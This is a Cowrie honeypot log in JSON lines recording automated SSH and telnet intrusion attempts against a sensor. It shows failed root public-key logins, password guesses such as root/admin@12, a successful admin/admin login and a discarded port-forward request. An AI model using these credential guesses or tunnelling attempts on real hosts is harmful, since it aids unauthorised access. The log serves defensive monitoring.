{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:ff:39:bf:1a:42:21:61:76:c2:2a:17:d1:12:e2:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+xyO5xO/P4n3NGemtZ2vZhjF/vCxeOorvy5pI97zoxHj6NpfDMR95fICiIOYq3JtwRibmQWdSmyijBPZFz5EHKT+v3/JmJTECkBd3QESaC+yfkJ6E0hvhEwlbPFhkZp1gZf5GCecqcNF1zwhJMIyasbA89rYDJh7sL1FsnUr8WdxHJA3bMPK34sjULFCPCzS3quryLNmX56qPDL4ph6Cc8jJpBe29qpvPhWHi+w5cUU8JqSu+CvVjbqmAWsAM+6WgKKuaEe956VNZKDfcQ2iRlD8Mdp+xuAu07ieXk5Ypep+muJU+qN1pmZ9nwq7g2px5hl3GZHo0BClso+lmuDR2LFywuIHFe6lG+YMGmIVUew4su01GHf/1lj/NTT6HK7WWQpr/6oJwqkre1jQdnUMpW6EtQvoeU8ueXyWc6HDHuwxCaN4gF3I47y4UaFjbjzhY7mXosD/kXfbZud40tagcdzJWLOCAMQKW6WvAMJx5IBRkyEDbMp8+jUXe9do0Xie+soiWykL5rWXE/avKbgb9h666768WzNsWyt/S5SkWWEOEAe02NHxOEJTtun1JJPlce0wWM9qPAIo8AZaavJCtA/7VszQhTzomRRKU1NL33riRfKYz9sHunygbzDEaRkVOCqSOQkgQHIjrvgkmyt/F6enddy3ipjRtgaOdX4aAQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:ff:39:bf:1a:42:21:61:76:c2:2a:17:d1:12:e2:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:16.260177Z","src_ip":"107.173.146.37","session":"9b80b53d1296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:ff:39:bf:1a:42:21:61:76:c2:2a:17:d1:12:e2:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+xyO5xO/P4n3NGemtZ2vZhjF/vCxeOorvy5pI97zoxHj6NpfDMR95fICiIOYq3JtwRibmQWdSmyijBPZFz5EHKT+v3/JmJTECkBd3QESaC+yfkJ6E0hvhEwlbPFhkZp1gZf5GCecqcNF1zwhJMIyasbA89rYDJh7sL1FsnUr8WdxHJA3bMPK34sjULFCPCzS3quryLNmX56qPDL4ph6Cc8jJpBe29qpvPhWHi+w5cUU8JqSu+CvVjbqmAWsAM+6WgKKuaEe956VNZKDfcQ2iRlD8Mdp+xuAu07ieXk5Ypep+muJU+qN1pmZ9nwq7g2px5hl3GZHo0BClso+lmuDR2LFywuIHFe6lG+YMGmIVUew4su01GHf/1lj/NTT6HK7WWQpr/6oJwqkre1jQdnUMpW6EtQvoeU8ueXyWc6HDHuwxCaN4gF3I47y4UaFjbjzhY7mXosD/kXfbZud40tagcdzJWLOCAMQKW6WvAMJx5IBRkyEDbMp8+jUXe9do0Xie+soiWykL5rWXE/avKbgb9h666768WzNsWyt/S5SkWWEOEAe02NHxOEJTtun1JJPlce0wWM9qPAIo8AZaavJCtA/7VszQhTzomRRKU1NL33riRfKYz9sHunygbzDEaRkVOCqSOQkgQHIjrvgkmyt/F6enddy3ipjRtgaOdX4aAQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:16.263414Z","src_ip":"107.173.146.37","session":"9b80b53d1296","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:8a:71:4e:11:c0:4f:73:a7:ef:a2:c4:25:8e:fc:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlwERUMJPkI87L6Panl0P4kCLmfZymSJZ31ai93q2tXIUHBFxX49XdneaTwD4AAmIm5r/a/5KiZ9UktzgSmyumW5UQnX3Qp9Kn2//s2Zp1KtEHjjqbGBV3x8Wi7o6y5RzGMliJqlWF8Hw6VEBARqNT/mu+KClq/uL77e9PxRLUlp4+bkOYHDPidAW0pEonnm/T5y1FX4My3vsGhDWbogLCZ/ci6eb4MeLLWs6v8VbibD0/BqDQDVJEbsbUjyvuD9m8vVYrNNsLFryWthrfUWccyIBnsmpV5HqNckzqkWSGrsoyzCNmYUDovyOciCq0qOfmVQFcZhgnEY4G1HNC62ZDt85ID5zIjaL0g71FLgRM7FiTfeb90CKFFLcsBMn30su1rZIjyjo5rqNOA445UrWobN5gTFoZzoTYdOFCfL8VhAr+hiTsRhW7kzGjtZfoGHmrenpl6PeYztSKCY69jcyBujNVCQ8AoUnzkvBg5kN4ZTT+LjofCqBYbPnYROMvGPG6fuQc+hU3WTdlz6OXMbEyEzm/a558MoCwi/eBCJBjeR60fA26cKvA/INa1dwivj9ugLnoCJKSNDtdQYv9tEcq1W5PyiRIcA+FJoChHY4L16kF8UpnRgy4gNNvDFEQ94+E9T6U0Bdojcx7NoGz+sSquJEFMHcqg0w9akwI24V52Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:8a:71:4e:11:c0:4f:73:a7:ef:a2:c4:25:8e:fc:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:16.337095Z","src_ip":"107.173.146.37","session":"9b80b53d1296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:8a:71:4e:11:c0:4f:73:a7:ef:a2:c4:25:8e:fc:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlwERUMJPkI87L6Panl0P4kCLmfZymSJZ31ai93q2tXIUHBFxX49XdneaTwD4AAmIm5r/a/5KiZ9UktzgSmyumW5UQnX3Qp9Kn2//s2Zp1KtEHjjqbGBV3x8Wi7o6y5RzGMliJqlWF8Hw6VEBARqNT/mu+KClq/uL77e9PxRLUlp4+bkOYHDPidAW0pEonnm/T5y1FX4My3vsGhDWbogLCZ/ci6eb4MeLLWs6v8VbibD0/BqDQDVJEbsbUjyvuD9m8vVYrNNsLFryWthrfUWccyIBnsmpV5HqNckzqkWSGrsoyzCNmYUDovyOciCq0qOfmVQFcZhgnEY4G1HNC62ZDt85ID5zIjaL0g71FLgRM7FiTfeb90CKFFLcsBMn30su1rZIjyjo5rqNOA445UrWobN5gTFoZzoTYdOFCfL8VhAr+hiTsRhW7kzGjtZfoGHmrenpl6PeYztSKCY69jcyBujNVCQ8AoUnzkvBg5kN4ZTT+LjofCqBYbPnYROMvGPG6fuQc+hU3WTdlz6OXMbEyEzm/a558MoCwi/eBCJBjeR60fA26cKvA/INa1dwivj9ugLnoCJKSNDtdQYv9tEcq1W5PyiRIcA+FJoChHY4L16kF8UpnRgy4gNNvDFEQ94+E9T6U0Bdojcx7NoGz+sSquJEFMHcqg0w9akwI24V52Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:16.339894Z","src_ip":"107.173.146.37","session":"9b80b53d1296","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:41:9a:ef:04:98:c1:d6:66:b7:45:9d:92:b2:49:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAy5GPtiB5gwxVCgXM9rtx6MpUxsMquzHcZFSBjVzyw8BmV9xo3PmKWw+julSQzgqpYW7q78SuQ7wPBHoBq2LwB4taZoCzfdTZnI0A+PHkKVFn0F54uT+Q6vFhl13JE8MaF6bje5oaJPT9hDhFfbbn0FMuq+mkwihqqAQI7lu1e7c=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:41:9a:ef:04:98:c1:d6:66:b7:45:9d:92:b2:49:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:16.411228Z","src_ip":"107.173.146.37","session":"9b80b53d1296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:41:9a:ef:04:98:c1:d6:66:b7:45:9d:92:b2:49:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAy5GPtiB5gwxVCgXM9rtx6MpUxsMquzHcZFSBjVzyw8BmV9xo3PmKWw+julSQzgqpYW7q78SuQ7wPBHoBq2LwB4taZoCzfdTZnI0A+PHkKVFn0F54uT+Q6vFhl13JE8MaF6bje5oaJPT9hDhFfbbn0FMuq+mkwihqqAQI7lu1e7c=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:16.414368Z","src_ip":"107.173.146.37","session":"9b80b53d1296","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:c9:0d:be:26:15:7c:f3:77:54:f6:09:25:a7:65:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkkuEMaZ0TClYV+KdYd1NdVrqcpe5QLCBSUF/2VRYU0o8OqwEkjvYMez3HN+BevCjDlGUhf7u/Doa2EkhED+4TnultJFaXiv4ZTfvH4Aot00hw89j2cMIRFOP+J8crPpEhsv5W9MqBCn5LTDNmopJ3+wuAdA+4Q1xy6nuHOXc4mweoB64y2awFPIxU9brtjOcBLjwbd6wvYy4AMZSVxS/hRxUG8TYvauG38M5vizkzGMYccUxYiWjVBbwIjk1aF0TnCwp36eBeTlnJzaW2EXY7EKd1/lmbeL0JNE/s2sRlTHzLKyz74BERC50mbLF4bVZT3UdAeJt3PNS0nQaTcgZAUAuJxUKIAPUjy1Snv6LG8clN4mumu9LZdf6dpEBPnugfjBzTl/4RHP8h9qIyM9WjV+IQa3uubXSJOtesQo2vsieLUBHWS9WnjXg5x0GOSGnoCQNyovdiEcH+fEF7nbQFv4ALK7+zfAu3tN44zgZrH3Lvt1JA8Ar/iFFWUNFQsefJ9u6JTXq35ZYvSPLqvzgwNf5Md8plcOKrLoCMAPi8jmrkF8meT+VlkcFo7a2ujuiXt7McQMgVIBNrX2x1KMKwfE/OrgLFDR8q0Ye8izyiAN+x0RNoFwFVNf4J/0ETAiCLYd1a3UnfOTw3GPxcLYuKJA5W9POU/NkdqBbxp7fs7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:c9:0d:be:26:15:7c:f3:77:54:f6:09:25:a7:65:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:16.492335Z","src_ip":"107.173.146.37","session":"9b80b53d1296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:c9:0d:be:26:15:7c:f3:77:54:f6:09:25:a7:65:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkkuEMaZ0TClYV+KdYd1NdVrqcpe5QLCBSUF/2VRYU0o8OqwEkjvYMez3HN+BevCjDlGUhf7u/Doa2EkhED+4TnultJFaXiv4ZTfvH4Aot00hw89j2cMIRFOP+J8crPpEhsv5W9MqBCn5LTDNmopJ3+wuAdA+4Q1xy6nuHOXc4mweoB64y2awFPIxU9brtjOcBLjwbd6wvYy4AMZSVxS/hRxUG8TYvauG38M5vizkzGMYccUxYiWjVBbwIjk1aF0TnCwp36eBeTlnJzaW2EXY7EKd1/lmbeL0JNE/s2sRlTHzLKyz74BERC50mbLF4bVZT3UdAeJt3PNS0nQaTcgZAUAuJxUKIAPUjy1Snv6LG8clN4mumu9LZdf6dpEBPnugfjBzTl/4RHP8h9qIyM9WjV+IQa3uubXSJOtesQo2vsieLUBHWS9WnjXg5x0GOSGnoCQNyovdiEcH+fEF7nbQFv4ALK7+zfAu3tN44zgZrH3Lvt1JA8Ar/iFFWUNFQsefJ9u6JTXq35ZYvSPLqvzgwNf5Md8plcOKrLoCMAPi8jmrkF8meT+VlkcFo7a2ujuiXt7McQMgVIBNrX2x1KMKwfE/OrgLFDR8q0Ye8izyiAN+x0RNoFwFVNf4J/0ETAiCLYd1a3UnfOTw3GPxcLYuKJA5W9POU/NkdqBbxp7fs7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:16.496679Z","src_ip":"107.173.146.37","session":"9b80b53d1296","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:82:cc:7c:d5:72:ae:9c:b1:8a:0f:1b:10:6a:5e:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAznwQ8xTq7SZfXI0zoUNyXWfcZdziA3xXfCc0Fu9DfI/wD+V6b82drQ3VGo1DfLtUnWiK/7cjw9vasaHuOaPlTE0lTeu1z0wFDnDAIOFaSFx99TpnY9JDwN3pjK18Q2dRFOn1Pm8x3VjLf2E8O8O8iEKyJeSQgdKzmMJqE7I1pc5V0AtT7uurhx95dXL2pGFX2Piis8soNdBVjxYGW96x4UWZ2CA4E72a/CrVSsmXmRtH7TJ+7GAIV+eDOOrozHScEtox44fMAiqsr7M0aF+HPb+S6MyUl4wZNReZsWJKuA2RFyOaIIuNPqDXFsckSGYtZhIfMDJzq6NrEnxTC6U+sQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:82:cc:7c:d5:72:ae:9c:b1:8a:0f:1b:10:6a:5e:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:16.568537Z","src_ip":"107.173.146.37","session":"9b80b53d1296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:82:cc:7c:d5:72:ae:9c:b1:8a:0f:1b:10:6a:5e:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAznwQ8xTq7SZfXI0zoUNyXWfcZdziA3xXfCc0Fu9DfI/wD+V6b82drQ3VGo1DfLtUnWiK/7cjw9vasaHuOaPlTE0lTeu1z0wFDnDAIOFaSFx99TpnY9JDwN3pjK18Q2dRFOn1Pm8x3VjLf2E8O8O8iEKyJeSQgdKzmMJqE7I1pc5V0AtT7uurhx95dXL2pGFX2Piis8soNdBVjxYGW96x4UWZ2CA4E72a/CrVSsmXmRtH7TJ+7GAIV+eDOOrozHScEtox44fMAiqsr7M0aF+HPb+S6MyUl4wZNReZsWJKuA2RFyOaIIuNPqDXFsckSGYtZhIfMDJzq6NrEnxTC6U+sQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:16.571490Z","src_ip":"107.173.146.37","session":"9b80b53d1296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:16.642581Z","src_ip":"107.173.146.37","session":"9b80b53d1296","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59864,"dst_ip":"159.203.135.109","dst_port":23,"session":"95cdc15306b3","protocol":"telnet","message":"New connection: 172.81.62.90:59864 (159.203.135.109:23) [session: 95cdc15306b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:26.527907Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59858,"dst_ip":"159.203.135.109","dst_port":23,"session":"20139dfa7074","protocol":"telnet","message":"New connection: 172.81.62.90:59858 (159.203.135.109:23) [session: 20139dfa7074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:26.719847Z"}
{"eventid":"cowrie.session.closed","duration":42.924683570861816,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:46.722249Z","src_ip":"128.199.8.54","session":"33101ad3c471","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":57802,"dst_ip":"10.17.0.5","dst_port":22,"session":"f79b86552c38","protocol":"ssh","message":"New connection: 87.251.64.176:57802 (10.17.0.5:22) [session: f79b86552c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:50.532622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:50.536488Z","src_ip":"87.251.64.176","session":"f79b86552c38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:50.629528Z","src_ip":"87.251.64.176","session":"f79b86552c38","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:50.998909Z","src_ip":"87.251.64.176","session":"f79b86552c38","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:51.095355Z","session":"f79b86552c38","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:51.189432Z","src_ip":"87.251.64.176","session":"f79b86552c38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:51.287141Z","src_ip":"87.251.64.176","session":"f79b86552c38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":34674,"dst_ip":"10.17.0.5","dst_port":22,"session":"68e992577498","protocol":"ssh","message":"New connection: 27.71.230.31:34674 (10.17.0.5:22) [session: 68e992577498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:58.339782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:58.384555Z","src_ip":"27.71.230.31","session":"68e992577498","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.62963938713074,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:47:59.349342Z","src_ip":"172.81.62.90","session":"20139dfa7074","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:00.151689Z","src_ip":"27.71.230.31","session":"68e992577498","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57614,"dst_ip":"159.203.135.109","dst_port":23,"session":"134aefc22f4f","protocol":"telnet","message":"New connection: 128.199.8.54:57614 (159.203.135.109:23) [session: 134aefc22f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:04.390368Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@12","message":"login attempt [root/admin@12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:05.381048Z","src_ip":"27.71.230.31","session":"68e992577498","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:06.629746Z","src_ip":"27.71.230.31","session":"68e992577498","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.017646074295044,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:11.545395Z","src_ip":"172.81.62.90","session":"95cdc15306b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":60152,"dst_ip":"159.203.135.109","dst_port":22,"session":"095bc1f1ed90","protocol":"ssh","message":"New connection: 194.113.233.25:60152 (159.203.135.109:22) [session: 095bc1f1ed90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:14.692648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:14.696595Z","src_ip":"194.113.233.25","session":"095bc1f1ed90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:14.780061Z","src_ip":"194.113.233.25","session":"095bc1f1ed90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05111985","message":"login attempt [root/05111985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:15.032102Z","src_ip":"194.113.233.25","session":"095bc1f1ed90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:16.118572Z","src_ip":"194.113.233.25","session":"095bc1f1ed90","protocol":"ssh"}
